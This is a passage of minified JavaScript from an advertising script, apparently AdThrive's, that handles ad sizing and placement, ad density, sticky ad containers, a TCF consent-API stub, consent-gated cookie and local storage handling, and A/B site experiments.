0),s(this,`collapsePlayerId`,void 0),s(this,`players`,void 0),s(this,`videoAdOptions`,void 0),s(this,`shouldDisableStickyRelated`,void 0),this.videoAdOptions=new de(e),this.players=this.videoAdOptions.players,this.relatedSettings=this.videoAdOptions.relatedSettings,this.removeVideoTitleWrapper=this.videoAdOptions.removeVideoTitleWrapper,this.footerSelector=this.videoAdOptions.footerSelector,this.shouldDisableStickyRelated=this.videoAdOptions.shouldDisableStickyRelated}};
945let pe=[[300,50],[300,90],[320,50],[320,100]],A=(t,n)=>t===e.Recipe&&n===`phone`,me=([e,t])=>pe.some(([n,r])=>n===e&&r===t),he=e=>{let t=e.clientWidth;if(getComputedStyle){let n=getComputedStyle(e,null);t-=parseFloat(n.paddingLeft||`0`)+parseFloat(n.paddingRight||`0`)}return t},ge=()=>document.createDocumentFragment().querySelectorAll(`*`),j=(e,t=document)=>{try{return{valid:!0,elements:t.querySelectorAll(e)}}catch(e){return{valid:!1,elements:ge(),error:e}}},M=(e,t=document)=>{try{return{valid:!0,element:t.querySelector(e)}}catch(e){return{valid:!1,element:null,error:e}}},N=e=>j(e),P=e=>{if(e===``)return{valid:!0};let t=N(e);return t.valid?{valid:!0,elements:t.elements}:{valid:!1,error:t.error}},F=new class{info(e,t,...n){this.call(console.info,e,t,...n)}warn(e,t,...n){this.call(console.warn,e,t,...n)}error(e,t,...n){this.call(console.error,e,t,...n),this.sendErrorLogToCommandQueue(e,t,...n)}event(e,t,...n){var r;((r=window.adthriveCLS)==null?void 0:r.bucket)===`debug`&&this.info(e,t)}sendErrorLogToCommandQueue(e,t,...n){window.adthrive=window.adthrive||{},window.adthrive.cmd=window.adthrive.cmd||[],window.adthrive.cmd.push(()=>{window.adthrive.logError!==void 0&&typeof window.adthrive.logError==`function`&&window.adthrive.logError(e,t,n)})}call(e,t,n,...r){let i=[`%c${t}::${n} `],a=[`color: #999; font-weight: bold;`];r.length>0&&typeof r[0]==`string`&&i.push(r.shift()),a.push(...r);try{Function.prototype.apply.call(e,console,[i.join(``),...a])}catch(e){console.error(e);return}}},_e=[[728,90],[300,250],[300,600],[320,50],[970,250],[160,600],[300,1050],[336,280],[970,90],[300,50],[300,90],[320,100],[468,60],[250,250],[120,240],[1,1],[300,300],[300,420],[728,250],[320,300],[300,390]],ve=new Map([[e.Footer,1],[e.Header,2],[e.Sidebar,3],[e.Content,4],[e.Recipe,5],[`Sidebar_sticky`,6],[`Below Post`,7]]),ye=e=>_e.filter(([t,n])=>e.some(([e,r])=>t===e&&n===r)),be=(t,[n,r],i)=>{let{location:a,sequence:o}=t;if(a===e.Footer)return!(i===`phone`&&n===320&&r===100);if(a===e.Header)return!0;if(a===e.Recipe)return!(D()&&i===`phone`&&(n===300&&r===390||n===320&&r===300));if(a===e.Sidebar){let e=t.adSizes.some(([,e])=>e<=300),n=!!o&&o<=5,i=r>300;return i&&!e||o===9?!0:n?i?t.sticky:!0:!i}else return!0},xe=(t,n)=>{let{location:r,sticky:i}=t;if(r===e.Recipe&&n){let{recipeMobile:e,recipeDesktop:t}=n;if(D()&&e!=null&&e.enabled||!D()&&t!=null&&t.enabled)return!0}return r===e.Footer||i},Se=(e,t)=>{var n;let i=(n=r())==null?void 0:n.experiments;return i!==void 0&&Object.prototype.hasOwnProperty.call(i,`smra1`)&&i.smra1===!0&&D()&&A(e,t)},Ce=(t,n)=>{let r=n.adUnits,i=v.isRolloutEnabled(`enable-250px-max-ad-height`);return r.filter(e=>e.dynamic!==void 0&&e.dynamic.enabled).map(r=>{let a=r.location.replace(/\s+/g,`_`),o=a===`Sidebar`?0:2;a===e.Content&&i&&C()&&(r.adSizes=r.adSizes.filter(e=>e[1]<=250));let s=Se(a,t),c=[];for(let e of k(r.targeting,[])){let t=e;t.key===`special`&&c.push(...t.value)}let l=ye(r.adSizes).filter(e=>be(r,e,t)&&(s?me(e):!(e[0]===300&&e[1]===90)));return{auctionPriority:ve.get(a)||8,location:a,sequence:k(r.sequence,1),thirdPartyAdUnitName:r.thirdPartyAdUnitName||``,customGamTargeting:r.customGamTargeting||{},sizes:l,devices:r.devices,pageSelector:k(r.dynamic.pageSelector,``).trim(),elementSelector:k(r.dynamic.elementSelector,``).trim(),position:k(r.dynamic.position,`beforebegin`),max:Math.floor(k(r.dynamic.max,0)),spacing:k(r.dynamic.spacing,0),skip:Math.floor(k(r.dynamic.skip,0)),every:Math.max(Math.floor(k(r.dynamic.every,1)),1),classNames:r.dynamic.classNames||[],sticky:xe(r,n.adOptions.stickyContainerConfig),stickyOverlapSelector:k(r.stickyOverlapSelector,``).trim(),autosize:r.autosize,special:c,lazy:k(r.dynamic.lazy,!1),lazyMax:k(r.dynamic.lazyMax,o),lazyMaxDefaulted:r.dynamic.lazyMax===0?!1:!r.dynamic.lazyMax,name:r.name}})},we=(t,n)=>{let r=he(n),i=t.sticky&&t.location===e.Sidebar;return t.sizes.filter(e=>{let n=t.autosize?e[0]<=r||e[0]<=320:!0,a=i?e[1]<=window.innerHeight-100:!0;return n&&a})},Te=(e,t)=>
945e.devices.includes(t),Ee=e=>{if(e.pageSelector.length===0)return!0;let t=M(e.pageSelector);return t.valid?t.element!==null:!1},I={Desktop:`desktop`,Mobile:`mobile`},De=e=>{let t=document.body,n=`adthrive-device-${e}`;if(!t.classList.contains(n))try{t.classList.add(n)}catch(e){F.error(`BodyDeviceClassComponent`,`init`,{message:e.message});let t=`classList`in document.createElement(`_`);F.error(`BodyDeviceClassComponent`,`init.support`,{support:t})}},L=e=>`adthrive-${e.location.replace(`_`,`-`).toLowerCase()}`,Oe=e=>`${L(e)}-${e.sequence}`;function ke(e,t,n){let r=e.pageOverrides.filter(e=>{let t=P(e.pageSelector);return t.valid||n==null||n({selector:e.pageSelector,selectorType:`pageOverride.pageSelector`,source:`getPageDensitySettings`,error:t.error}),e.pageSelector===``||t.elements&&t.elements.length}).map(e=>e[t]);return r.length?r[0]:e[t]}function Ae({targetDensity:e,targetAll:t,totalAvailableElements:n,mainContentHeight:r,minDivHeight:i,recipeCount:a}){return t?n:Math.floor(e*r/(1-e)/i)-a}function je(e,t,n,r){return e.filter(e=>{try{return t.querySelector(e.elementSelector)}catch(t){return r==null||r({selector:e.elementSelector,selectorType:`elementSelector`,source:`getCombinedMax`,context:n==null?void 0:n(e),error:t}),!1}}).map(e=>Number(e.max)+Number(e.lazyMaxDefaulted?0:e.lazyMax)).sort((e,t)=>t-e)[0]||0}let Me=(e,t)=>{if(e<=0)return{spacing:0,nextAfter:0,reasons:[`non-density-disabled`]};let n=t*e;return{spacing:n,nextAfter:n,reasons:[`non-density-viewport-ratio`]}},Ne=({settings:e,densityDevice:t,dynamicAds:n,target:r,totalAvailableElements:i,mainContentHeight:a,minDivHeight:o,recipeCount:s,selectorContext:c,onInvalidSelector:l})=>{let u=ke(e,t,l),d=u.adDensity,f=u.onePerViewport,p=d===.99,m=Ae({targetDensity:d,targetAll:p,totalAvailableElements:i,mainContentHeight:a,minDivHeight:o,recipeCount:s}),h=je(n,r,c,l);return{onePerViewport:f,targetAll:p,targetDensity:d,targetDensityUnits:m,combinedMax:h,numberOfUnits:Math.min(i,m,...h>0?[h]:[]),reasons:[p?`target-all-eligible`:`target-density-formula`,...f?[`viewport-floor`]:[]]}},Pe=({totalAvailableElements:e,targetDensityUnits:t,numberOfUnits:n,mainContentHeight:r,absoluteMinimumSpacing:i,viewportHeight:a,onePerViewport:o})=>{let s=e>t||e>n,c=[],l,u;return s?(u=!1,l=r/Math.min(t,n),c.push(`wider-spacing`)):(u=!0,l=o&&a>i?a:i,c.push(`absolute-minimum`)),o&&a>l?(c.push(`viewport-floor`),{insertEvery:a,usedAbsoluteMinimum:u,reasons:c}):{insertEvery:l,usedAbsoluteMinimum:u,reasons:c}},Fe=(e,t)=>{let n=e*.6;return n<=t?{insertEvery:t,usedAbsoluteMinimum:!0,reasons:[`clamped-absolute-minimum`]}:{insertEvery:n,usedAbsoluteMinimum:!1,reasons:[`wider-spacing`]}},Ie=(e,t)=>window.matchMedia(`(min-width: ${t}px)`).matches?`desktop`:window.matchMedia(`(min-width: ${e}px)`).matches?`tablet`:`phone`,R=e=>{let t=e.offsetHeight,n=e.offsetWidth,r=e.getBoundingClientRect(),i=document.body,a=document.documentElement,o=window.pageYOffset||a.scrollTop||i.scrollTop,s=window.pageXOffset||a.scrollLeft||i.scrollLeft,c=a.clientTop||i.clientTop||0,l=a.clientLeft||i.clientLeft||0,u=Math.round(r.top+o-c),d=Math.round(r.left+s-l);return{top:u,left:d,bottom:u+t,right:d+n,width:n,height:t}},Le=(e=document)=>(e===document?document.body:e).getBoundingClientRect().top,Re=e=>e.includes(`,`)?e.split(`,`):[e],ze=(e=document)=>{let t=e.querySelectorAll(`article`);if(t.length===0)return null;let n=Array.from(t).reduce((e,t)=>t.offsetHeight>e.offsetHeight?t:e);return n&&n.offsetHeight>window.innerHeight*1.5?n:null},Be=(e,t,n=document)=>{let r=new Set(t.map.map(({el:e})=>e)),i=ze(n),a=i?[i]:[],o=[];e.forEach(e=>{let t=j(e.elementSelector,n);if(!t.valid)return;let i=Array.from(t.elements),s=Re(e.elementSelector),c=s.length===1?i:[];s.length>1&&s.forEach(e=>{Array.from(j(e,n).elements).forEach(e=>{c.push(e)})});let l=new Set(i.slice(0,e.skip));for(let t of c){if(r.has(t))continue;let n=t.parentElement;n&&n!==document.body?a.push(n):a.push(t),l.has(t)||o.push({dynamicAd:e,element:t})}});let s=Le(n),c=o.map(e=>({item:e,top:e.element.getBoundingClientRect().top-s}));return c.sort((e,t)=>e.top-t.top),[a,c.map(({item:e})=>e)]},Ve=(e,t,n=document)=>{let[r,i]=Be(e,t,n);return r.length===0?[null,i]:[Array.from(r).reduce((e,t)=>
945t.offsetHeight>e.offsetHeight?t:e)||document.body,i]},He=(e,t=`div #comments, section .comments`)=>{let n=e.querySelector(t);return n?e.offsetHeight-n.offsetHeight:e.offsetHeight},Ue=()=>{let e=document.body,t=document.documentElement;return Math.max(e.scrollHeight,e.offsetHeight,t.clientHeight,t.scrollHeight,t.offsetHeight)},We=()=>{let e=document.body,t=document.documentElement;return Math.max(e.scrollWidth,e.offsetWidth,t.clientWidth,t.scrollWidth,t.offsetWidth)};function z(e,t){t===void 0&&(t={});var n=t.insertAt;if(!(!e||typeof document>`u`)){var r=document.head||document.getElementsByTagName(`head`)[0],i=document.createElement(`style`);i.type=`text/css`,n===`top`&&r.firstChild?r.insertBefore(i,r.firstChild):r.appendChild(i),i.styleSheet?i.styleSheet.cssText=e:i.appendChild(document.createTextNode(e))}}let Ge=e=>e===9,Ke=e=>Ge(e)?`rp-sticky-sb-wrapper`:`rp-sticky-sidebar`,qe=e=>z(` 946 .adthrive-device-phone .adthrive-sticky-content { 947 height: 450px !important; 948 margin-bottom: 100px !important; 949 } 950 .adthrive-content.adthrive-sticky { 951 position: -webkit-sticky; 952 position: sticky !important; 953 top: 42px !important; 954 margin-top: 42px !important; 955 } 956 .adthrive-content.adthrive-sticky:after { 957 content: "— Advertisement. Scroll down to continue. —"; 958 font-size: 10pt; 959 margin-top: 5px; 960 margin-bottom: 5px; 961 display:block; 962 color: #888; 963 } 964 .adthrive-sticky-container { 965 position: relative; 966 display: flex; 967 flex-direction: column; 968 justify-content: flex-start; 969 align-items: center; 970 min-height:${e||400}px; 971 margin: 10px 0 10px 0; 972 background-color: #FAFAFA; 973 padding-bottom:0px; 974 } 975 `),Je=e=>{z(` 976 .adthrive-recipe.adthrive-sticky { 977 position: -webkit-sticky; 978 position: sticky !important; 979 top: 42px !important; 980 margin-top: 42px !important; 981 } 982 .adthrive-recipe-sticky-container { 983 position: relative; 984 display: flex; 985 flex-direction: column; 986 justify-content: flex-start; 987 align-items: center; 988 min-height:${e||400}px !important; 989 margin: 10px 0 10px 0; 990 background-color: #FAFAFA; 991 padding-bottom:0px; 992 } 993 `)},B=(e,t)=>e.some(e=>{let n=M(e);return n.valid?n.element!==null:(t==null||t(e,n.error),!1)}),Ye=e=>/^[-_a-zA-Z]+[-_a-zA-Z0-9]*$/.test(e),Xe=(e,t,n)=>{let r=e=>e?!!(e.classList.contains(`adthrive-ad`)||e.id.includes(`_${n}_`)):!1;switch(t){case`beforebegin`:return r(e.previousElementSibling);case`afterend`:return r(e.nextElementSibling);case`afterbegin`:return r(e.firstElementChild);case`beforeend`:return r(e.lastElementChild);default:return!1}};var V=class e extends l{constructor(e=[],t,n=Math.random){super(),this._choices=e,this._default=t,this._random=n}static fromArray(t,n){return new e(t.map(([e,t])=>({choice:e,weight:t})),n)}addChoice(e,t){this._choices.push({choice:e,weight:t})}get(){let e=this._random()*100,t=0;for(let{choice:n,weight:r}of this._choices)if(t+=r,t>=e)return n;return this._default}get totalWeight(){return this._choices.reduce((e,{weight:t})=>e+t,0)}};let H={AdDensity:`addensity`,AdLayout:`adlayout`,FooterCloseButton:`footerclose`,Interstitial:`interstitial`,RemoveVideoTitleWrapper:`removevideotitlewrapper`,StickyOutstream:`stickyoutstream`,StickyOutstreamOnStickyPlayer:`sospp`,VideoAdvancePlaylistRelatedPlayer:`videoadvanceplaylistrp`,MobileStickyPlayerPosition:`mspp`};var Ze=class{constructor(){s(this,`name`,void 0),s(this,`disable`,void 0),s(this,`gdprPurposes`,void 0)}};let U=`__adthriveTcfApiStub`,W=`__tcfapiLocator`,G=[],K=!1,q,J=e=>typeof e==`function`&&!!e[U],Qe=(e,t=2)=>{let n=G.findIndex(([n,r,i])=>n===`getTCData`&&r===t&&i===e);return n===-1?!1:(G.splice(n,1),!0)},$e=()=>{let e=()=>{if(document.querySelector(`iframe[name="${W}"]`))return;if(!document.body){setTimeout(e,5);return}let t=document.createElement(`iframe`);t.style.cssText=`display:none`,t.name=W,document.body.appendChild(t)};e()},Y=()=>{let e=window.__tcfapi;return typeof e==`function`&&!J(e)?e:void 0},X=()=>{let e=Y();if(e)for(;G.length>0;){let t=G.shift();if(t)try{e(t[0],t[1],t[2],t[3])}catch(e){e instanceof Error&&e.message}}},et=()=>{if(K)return;if(K=!0,Y()){X();return}let e=window.__tcfapi;Object.defineProperty(window,"__tcfapi",{configurable:!0,enumerable:!0,get:()=>e,set:t=>{e=t,typeof t==`function`&&!J(t)&&X()}})},tt=()=>{let e=(e,t=2,n,r)=>{if(e===void 0)return G;switch(e){case`ping`:typeof n==`function`&&n({gdprApplies:q,cmpLoaded:!1,cmpStatus:`stub`,apiVersion:`2.0`},!0);return;case`setGdprApplies`:parseInt(String(t),10)>=2&&typeof r==`boolean`&&(q=r,typeof n==`function`&&n(`set`,!0));return;default:G.push([e,t,n,r])}};return Object.defineProperty(e,U,{value:!0,configurable:!1,enumerable:!1,writable:!1}),e},nt=()=>{window.addEventListener(`message`,e=>{let t=typeof e.data==`string`,n={};if(t)try{n=JSON.parse(e.data)}catch{return}else n=e.data;let r=typeof n==`object`&&n?n.__tcfapiCall:void 0;if(!r)return;let i=e.source;window.__tcfapi(r.command,r.version,(e,n)=>{let a={__tcfapiReturn:{returnValue:e,success:n,callId:r.callId}};i==null||i.postMessage(t?JSON.stringify(a):a,`*`)},r.parameter)},!1)},rt=()=>
993{if(et(),Y())return!1;let e=!1;return J(window.__tcfapi)||(window.__tcfapi=tt(),nt(),e=!0),$e(),window.__tcfapiQueue=G,e},it=(e,t=2,n,r)=>{if(e===void 0)return;let i=Y();i?i(e,t,n,r):(G.push([e,t,n,r]),rt())},at=(e,t=2,n,r)=>{it(e,t,n,r)},ot=(e=1e4)=>new Promise((t,n)=>{let r,i=!1,a=(e,a)=>{i||(i=!0,r&&clearTimeout(r),a&&e?t(e):n(Error(`Failed to retrieve TCData`)))};e>0&&(r=setTimeout(()=>{i||(i=!0,Qe(a,2),n(Error(`TCF API request timed out`)))},e)),at(`getTCData`,2,a)}),st=[`mcmpfreqrec`],Z=new class extends Ze{constructor(...e){super(...e),s(this,`name`,`BrowserStorage`),s(this,`disable`,!1),s(this,`gdprPurposes`,[1]),s(this,`_sessionStorageHandlerQueue`,[]),s(this,`_localStorageHandlerQueue`,[]),s(this,`_cookieHandlerQueue`,[]),s(this,`_gdpr`,void 0),s(this,`_shouldQueue`,!1),s(this,`_storageConsentGranted`,void 0),s(this,`_storageConsentUpdateInFlight`,0),s(this,`_storageConsentBeforeLatestUpdate`,void 0)}init(e,t){this._gdpr=e.gdpr===`true`,this._shouldQueue=this._gdpr,this._gdpr&&t&&(t.consentResponseCaptured.on(()=>{this._refreshStorageConsent(`consentResponseCaptured`)}),t.consentChanged.on(()=>{this._refreshStorageConsent(`consentChanged`)}))}_isGdprFromGlobal(){if(typeof window>`u`||!window.adthrive)return!1;let e=window.adthrive;return`gdprEnabled`in e?!!e.gdprEnabled:e.gdpr===`true`}_shouldQueueWrite(){return this._gdpr===void 0?this._isGdprFromGlobal():this._gdpr&&this._shouldQueue}isInGdprQueueMode(){return this._shouldQueueWrite()}_refreshStorageConsent(e){this._storageConsentBeforeLatestUpdate=this._storageConsentGranted,this._storageConsentUpdateInFlight+=1,this._updateStorageConsent().catch(e=>{}).then(()=>{this._storageConsentUpdateInFlight=Math.max(0,this._storageConsentUpdateInFlight-1)})}async _updateStorageConsent(){var e;let t=await ot();!(t==null||(e=t.purpose)==null)&&e.consents&&(this._storageConsentGranted=t.purpose.consents[1]===!0)}_getStorageWriteAvailability(e,t){try{let n=window[e];n.setItem(t,`1`);let r=n.getItem(t);return n.removeItem(t),r===`1`?{available:!0}:{available:!1,error:Error(`${e} write probe value mismatch`)}}catch(e){return{available:!1,error:e}}}getStorageApiAvailability(){return{localStorage:this._getStorageWriteAvailability(`localStorage`,`__adthrive_localstorage_test__`).available,sessionStorage:this._getStorageWriteAvailability(`sessionStorage`,`__adthrive_sessionstorage_test__`).available}}clearQueue(e,t){t!==void 0&&(this._storageConsentGranted=t);let n=this._gdpr&&this._hasStorageConsent()===!1,r=e&&n&&this.disable===!1&&this._storageConsentUpdateInFlight>0&&this._storageConsentBeforeLatestUpdate===!1;r&&(this._storageConsentGranted=!0),e&&(!n||r)&&(this._shouldQueue=!1,this._sessionStorageHandlerQueue.forEach(e=>{this.setSessionStorage(e.key,e.value)}),this._localStorageHandlerQueue.forEach(e=>{if(e.key===`adthrive_abgroup`){let t=Object.keys(e.value)[0],n=e.value[t],r=e.value[`${t}_weight`];this.getOrSetABGroupLocalStorageValue(t,n,r,{value:24,unit:`hours`})}else e.expiry?e.type===`internal`?this.setExpirableInternalLocalStorage(e.key,e.value,{expiry:e.expiry,resetOnRead:e.resetOnRead}):this.setExpirableExternalLocalStorage(e.key,e.value,{expiry:e.expiry,resetOnRead:e.resetOnRead}):e.type===`internal`?this.setInternalLocalStorage(e.key,e.value):this.setExternalLocalStorage(e.key,e.value)}),this._cookieHandlerQueue.forEach(e=>{e.type===`internal`?this.setInternalCookie(e.key,e.value):this.setExternalCookie(e.key,e.value)})),this._sessionStorageHandlerQueue=[],this._localStorageHandlerQueue=[],this._cookieHandlerQueue=[]}readInternalCookie(e){return this._verifyInternalKey(e),this._readCookie(e)}readExternalCookie(e){return this._readCookie(e)}readExternalCookieList(e){return this._readCookieList(e)}getAllCookies(){return this._getCookies()}readInternalLocalStorage(e){return this._verifyInternalKey(e),this._readFromLocalStorage(e)}readExternalLocalStorage(e){return this._readFromLocalStorage(e)}readSessionStorage(e){let t=window.sessionStorage.getItem(e);if(!t)return null;try{return JSON.parse(t)}catch{return t}}getLocalStorageWriteAvailability(){return this._getStorageWriteAvailability(`localStorage`,`__adthrive_local_storage_probe__`)}
993deleteCookie(e){if(!this.disable){if(this._shouldQueueWrite()){this._cookieHandlerQueue=this._cookieHandlerQueue.filter(t=>t.key!==e);return}document.cookie=`${e}=; SameSite=None; Secure; expires=Thu, 01 Jan 1970 00:00:00 UTC; path=/`}}purgeCookie(e){this._cookieHandlerQueue=this._cookieHandlerQueue.filter(t=>t.key!==e);try{document.cookie=`${e}=; SameSite=None; Secure; expires=Thu, 01 Jan 1970 00:00:00 UTC; path=/`}catch{}}deleteLocalStorage(e){if(!this.disable){if(this._shouldQueueWrite()){this._localStorageHandlerQueue=this._localStorageHandlerQueue.filter(t=>t.key!==e);return}window.localStorage.removeItem(e)}}purgeLocalStorage(e){this._localStorageHandlerQueue=this._localStorageHandlerQueue.filter(t=>t.key!==e);try{window.localStorage.removeItem(e)}catch{}}deleteSessionStorage(e){if(!this.disable){if(this._shouldQueueWrite()){this._sessionStorageHandlerQueue=this._sessionStorageHandlerQueue.filter(t=>t.key!==e);return}window.sessionStorage.removeItem(e)}}purgeSessionStorage(e){this._sessionStorageHandlerQueue=this._sessionStorageHandlerQueue.filter(t=>t.key!==e);try{window.sessionStorage.removeItem(e)}catch{}}_hasStorageConsent(){if(this._storageConsentGranted!==void 0)return this._storageConsentGranted}setInternalCookie(e,t,n){this.disable||(this._verifyInternalKey(e),this._setCookieValue(`internal`,e,t,n))}setExternalCookie(e,t,n){this.disable||this._setCookieValue(`external`,e,t,n)}setInternalLocalStorage(e,t){if(!this.disable)if(this._verifyInternalKey(e),this._shouldQueueWrite()){let n={key:e,value:t,type:`internal`};this._localStorageHandlerQueue.push(n)}else{let n=typeof t==`string`?t:JSON.stringify(t);window.localStorage.setItem(e,n)}}setExternalLocalStorage(e,t){if(!this.disable)if(this._shouldQueueWrite()){let n={key:e,value:t,type:`external`};this._localStorageHandlerQueue.push(n)}else{let n=typeof t==`string`?t:JSON.stringify(t);window.localStorage.setItem(e,n)}}setExpirableInternalLocalStorage(e,t,n){if(!this.disable){this._verifyInternalKey(e);try{let r=(n==null?void 0:n.expiry)??{value:400,unit:`days`},i=(n==null?void 0:n.resetOnRead)??!1;if(this._shouldQueueWrite()){let n={key:e,value:t,type:`internal`,expires:this._getExpiryDate(r),expiry:r,resetOnRead:i};this._localStorageHandlerQueue.push(n)}else{let n={value:t,type:`internal`,expires:this._getExpiryDate(r),expiry:r,resetOnRead:i};window.localStorage.setItem(e,JSON.stringify(n))}}catch(e){console.error(e)}}}setExpirableExternalLocalStorage(e,t,n){if(!this.disable)try{let r=(n==null?void 0:n.expiry)??{value:400,unit:`days`},i=(n==null?void 0:n.resetOnRead)??!1;if(this._shouldQueueWrite()){let n={key:e,value:JSON.stringify(t),type:`external`,expires:this._getExpiryDate(r),expiry:r,resetOnRead:i};this._localStorageHandlerQueue.push(n)}else{let n={value:t,type:`external`,expires:this._getExpiryDate(r),expiry:r,resetOnRead:i};window.localStorage.setItem(e,JSON.stringify(n))}}catch(e){console.error(e)}}setSessionStorage(e,t){if(!this.disable)if(this._shouldQueueWrite()){let n={key:e,value:t};this._sessionStorageHandlerQueue.push(n)}else{let n=typeof t==`string`?t:JSON.stringify(t);window.sessionStorage.setItem(e,n)}}getOrSetABGroupLocalStorageValue(e,t,n,r,i=!0){let a=`adthrive_abgroup`;if(this._shouldQueueWrite()){let o={[e]:t,[`${e}_weight`]:n};return r?this.setExpirableInternalLocalStorage(a,o,{expiry:r,resetOnRead:i}):this.setInternalLocalStorage(a,o),[t,n]}let o=this.readInternalLocalStorage(a);if(o!==null){let t=o[e],n=o[`${e}_weight`]??null;if(this._isValidABGroupLocalStorageValue(t))return[t,n]}let s={...o,[e]:t,[`${e}_weight`]:n};return r?this.setExpirableInternalLocalStorage(a,s,{expiry:r,resetOnRead:i}):this.setInternalLocalStorage(a,s),[t,n]}_isValidABGroupLocalStorageValue(e){return e!=null&&!(typeof e==`number`&&isNaN(e))}_getExpiryDate({value:e,unit:t}){let n=new Date;return t===`milliseconds`?n.setTime(n.getTime()+e):t==`seconds`?n.setTime(n.getTime()+e*1e3):t===`minutes`?n.setTime(n.getTime()+e*60*1e3):t===`hours`?n.setTime(n.getTime()+e*60*60*1e3):t===`days`?n.setTime(n.getTime()+e*24*60*60*1e3):t===`months`&&n.setTime(n.getTime()+e*30*24*60*60*1e3),n.toUTCString()}_resetExpiry(e){return e.expires=this._getExpiryDate(e.expiry),e}_readCookie(e){let t=document.cookie.split(`; `).find(t=>t.split(`=`)[0]===e);if(!t)return null;let n=t.split(`=`)[1];if(n)try{return JSON.parse(decodeURIComponent(n))}catch{return decodeURIComponent(n)}return null}_readCookieList(e){let t;for(let n of document.cookie.split(`;`)){let[r,...i]=n.split(`=`);r.trim()===e&&(t=i.join(`=`).trim())}return t&&JSON.parse(t)||[]}_getCookies(){let e=[];return document.cookie.split(`;`).forEach(t=>{let[n,r]=t.split(`=`).map(e=>e.trim());e.push({name:n,value:r})}),e}_readFromLocalStorage(e){let t=window.localStorage.getItem(e);if(!t)return null;try{let n=JSON.parse(t),r=n.expires&&new Date().getTime()>=new Date(n.expires).getTime();if(e===`adthrive_abgroup`&&n.created)return window.localStorage.removeItem(e),null;if(n.resetOnRead&&n.expires&&!r){let t=this._resetExpiry(n);return window.localStorage.setItem(e,JSON.stringify(n)),t.value??t}else if(r)return window.localStorage.removeItem(e),null;if(Object.prototype.hasOwnProperty.call(n,`value`))try{return JSON.parse(n.value)}catch{return n.value}else return n}catch{return t}}_setCookieValue(e,t,n,r){try{if(this._shouldQueueWrite()){let r={key:t,value:n,type:e};this._cookieHandlerQueue.push(r)}else{let e=this._getExpiryDate((r==null?void 0:r.expiry)??{value:400,unit:`days`}),i=(r==null?void 0:r.sameSite)??`None`,a=(r==null?void 0:r.secure)??!0,o=typeof n==`object`?JSON.stringify(n):n;document.cookie=`${t}=${o}
993; SameSite=${i}; ${a?`Secure;`:``} expires=${e}; path=/`}}catch{}}_verifyInternalKey(e){let t=e.startsWith(`adthrive_`),n=e.startsWith(`adt_`);if(!t&&!n&&!st.includes(e))throw Error(`When reading an internal cookie, the key must start with "adthrive_" or "adt_" or be part of the allowed legacy keys.`)}},ct=e=>{let t=5381,n=e.length;for(;n;)t=t*33^e.charCodeAt(--n);return t>>>0},lt=e=>ct(e).toString(16),ut=e=>{if(e===null)return null;let t=e.map(({choice:e})=>e);return lt(JSON.stringify(t))},dt=(e,t)=>{var n;return((n=e.find(({choice:e})=>e===t))==null?void 0:n.weight)??null},ft=e=>e!=null&&!(typeof e==`number`&&isNaN(e)),pt=(e,t)=>{if(Z.isInGdprQueueMode())return t();let n=ut(e._choices),r=((e._expConfigABGroup?e._expConfigABGroup:e.abgroup)||e.key||``).toLowerCase(),i=n?`${r}_${n}`:r,a=e.localStoragePrefix?`${e.localStoragePrefix}-${i}`:i,o=Z.readInternalLocalStorage(`adthrive_branch`);(o&&o.enabled)===!1&&Z.deleteLocalStorage(a);let s=t(),c=dt(e._choices,s),[l,u]=Z.getOrSetABGroupLocalStorageValue(a,s,c,{value:24,unit:`hours`});return e._stickyResult=l,e._stickyWeight=u,l},mt=(e=window.location.search)=>{let t=+(e.indexOf(`?`)===0);return e.slice(t).split(`&`).reduce((e,t)=>{let[n,r]=t.split(`=`);return e.set(n,r),e},new Map)},ht=e=>{let t={},n=mt().get(e);if(n)try{let r=decodeURIComponent(n).replace(/\+/g,``);t=JSON.parse(r),F.event(`ExperimentOverridesUtil`,`getExperimentOverrides`,e,t)}catch(e){e instanceof URIError}return t},gt=(e,t)=>typeof e==typeof t,_t=(e,t)=>{let n=e.adDensityEnabled,r=e.adDensityLayout.pageOverrides.find(e=>!!document.querySelector(e.pageSelector)&&(e[t].onePerViewport||typeof e[t].adDensity==`number`));return n?!r:!0},vt=e=>{var t;let n=(t=e.videoPlayers)==null||(t=t.partners)==null||(t=t.stickyOutstream)==null?void 0:t.blockedPageSelectors;return n?!document.querySelector(n):!0},yt=e=>{let t=e.adOptions.interstitialBlockedPageSelectors;return t?!document.querySelector(t):!0},bt=(e,t,n)=>{switch(t){case H.AdDensity:return _t(e,n);case H.StickyOutstream:return vt(e);case H.Interstitial:return yt(e);default:return!0}},xt=e=>e.length===1,St=e=>{let t=e.reduce((e,t)=>t.weight?t.weight+e:e,0);return e.length>0&&e.every(e=>{let t=e.value,n=e.weight;return!!(t!=null&&!(typeof t==`number`&&isNaN(t))&&n)})&&t===100},Ct=(e,t)=>{if(!e)return!1;let n=!!e.enabled,r=e.dateStart==null||Date.now()>=e.dateStart,i=e.dateEnd==null||Date.now()<=e.dateEnd,a=e.selector===null||e.selector!==``&&!!document.querySelector(e.selector),o=e.platform===`mobile`&&t===`mobile`,s=e.platform===`desktop`&&t===`desktop`,c=e.platform===null||e.platform===`all`||o||s,l=e.experimentType===`bernoulliTrial`?xt(e.variants):St(e.variants);return l||F.error(`SiteTest`,`validateSiteExperiment`,`experiment presented invalid choices for key:`,e.key,e.variants),n&&r&&i&&a&&c&&l};var wt=class{constructor(e){var t;s(this,`siteExperiments`,[]),s(this,`_clsOptions`,void 0),s(this,`_device`,void 0),this._clsOptions=e,this._device=D()?`mobile`:`desktop`,this.siteExperiments=((t=this._clsOptions.siteAds.siteExperiments)==null?void 0:t.filter(e=>{let t=e.key,n=Ct(e,this._device),r=bt(this._clsOptions.siteAds,t,this._device);return n&&r}))??[]}getSiteExperimentByKey(e){let t=this.siteExperiments.filter(t=>t.key.toLowerCase()===e.toLowerCase())[0],n=ht(`at_site_features`),r=gt(t!=null&&t.variants[1]?t==null?void 0:t.variants[1].value:t==null?void 0:t.variants[0].value,n[e]);return t&&n[e]&&r&&(t.variants=[{displayName:`test`,value:n[e],weight:100,id:0}]),t}},Tt=class{constructor(){s(this,`experimentConfig`,void 0)}get enabled(){return this.experimentConfig!==void 0}_isValidResult(e,t=()=>!0){return t()&&ft(e)}},Et=class extends Tt{constructor(...e){super(...e),s(this,`_resultValidator`,()=>!0)}_isValidResult(e){return super._isValidResult(e,()=>this._resultValidator(e)||e===`control`)}run(){if(!this.enabled)return F.error(`CLSWeightedChoiceSiteExperiment`,`run`,`() => %o`,`No experiment config found. Defaulting to control.`),`control`;if(!this._mappedChoices||this._mappedChoices.length===0)return 